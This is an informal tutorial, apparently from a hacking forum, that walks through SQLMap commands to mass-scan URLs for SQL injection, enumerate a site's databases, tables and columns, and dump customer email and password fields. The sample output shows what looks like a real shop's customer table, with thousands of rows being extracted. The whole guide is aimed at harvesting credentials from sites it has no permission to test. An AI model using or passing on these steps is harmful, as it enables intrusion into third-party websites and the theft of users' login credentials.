

# How to use SQLMap (very pog!)

Requirements:

OS : Windows

SQLMap : <https://github.com/sqlmapproject/sqlmap/zipball/master>

Python : <https://www.python.org/downloads/>

- 1) Retrieving databases
- 2) Retrieving tables from a database
- 3) Retrieving columns from a table
- 4) Dumping columns

Open a command prompt in the directory of SQLMap

So before we start

`py sqlmap.py -m "urls.txt" --random-agent -f --batch -o --tables`

^This command above makes SQLMap scan all urls from urls.txt file and if it finds vulnerable url it makes separated folder for it in output folder

First we have to retrieve the database names from our target

like this : `py sqlmap.py -u "(URL)" --dbs`

you can add "--dbms=(db, eg: mysql, mssql, etc.)" it will speed up the process

at the end we should get something like this:

```
[16:18:13] [INFO] fetching database names
[16:18:13] [INFO] resumed: 'httpnatt_nmk_4gtsdr_76sdhj'
[16:18:13] [INFO] resumed: 'information_schema'
available databases [2]:
[*] httpnatt_nmk_4gtsdr_76sdhj
[*] information_schema
```

Now we need to retrieve the tables of the database :

`py sqlmap.py -u "(URL)" --tables -D (database name) --dbms=(db, eg: mysql, mssql, etc.)`

at the end we should get something like this:

```
[16:23:39] [INFO] fetching tables for database: 'httpnatt_nmk_4gtsdr_76sdhj'
Database: httpnatt_nmk_4gtsdr_76sdhj
[41 tables]
+-----+
| nm_attribute_master |
| nm_brand_master     |
| nm_category_master  |
| nm_category_slider  |
| nm_cms_pages        |
| nm_comments         |
| nm_coupons          |
| nm_customer_group   |
| nm_customers        |
| nm_customers_address |
| nm_customers_order  |
| nm_customers_order_items |
| nm_gallery_categories |
| nm_gallery_images   |
| nm_home_cat_master  |
| nm_home_feature_product |
| nm_login_history    |
| nm_manufactuer      |
```

Now when we have the names of the tables we need the to retrieve the columns :

`py sqlmap.py -u "(URL)" --columns -D (database name) -T (table name) --dbms=(db, eg: mysql, mssql, etc.)`

at the end we should get something like this:

```
Database: httpnatt_nmk_4gtsdr_76sdhj
Table: nm_customers
[10 columns]
+-----+-----+
| Column          | Type          |
+-----+-----+
| created_at      | datetime      |
| email           | varchar(100)  |
| forgot_token    | varchar(255)  |
| full_name       | varchar(100)  |
| id              | int(11)       |
| is_email_verified | enum('N','Y') |
| paswd           | varchar(50)   |
| status          | enum('A','D','E') |
| updated_at      | datetime      |
| verification_token | varchar(300)  |
+-----+-----+
```

Now we are going to dump the columns, we are looking for email:password so here we are dumping "email:paswd" :

`py sqlmap.py -u "(URL)" --dump -D (database name) -T (table name) -D (column name1, column name2) --threads (1-10) --eta --dbms=(db, eg: mysql, mssql, etc.)`

you don't have to add --dbms at the end it's your choice

also you can add --output-dir=OUTPUT at the end to change the output directory the default one is "AppData\Local\sqlmap\output"

Congrats now you know how to use SQLMap! And you don't have to use SQLi Dumper (very poggies!!!)

```
0% [ > ] 7/14749 (ETA 260:45)
```

-Dimons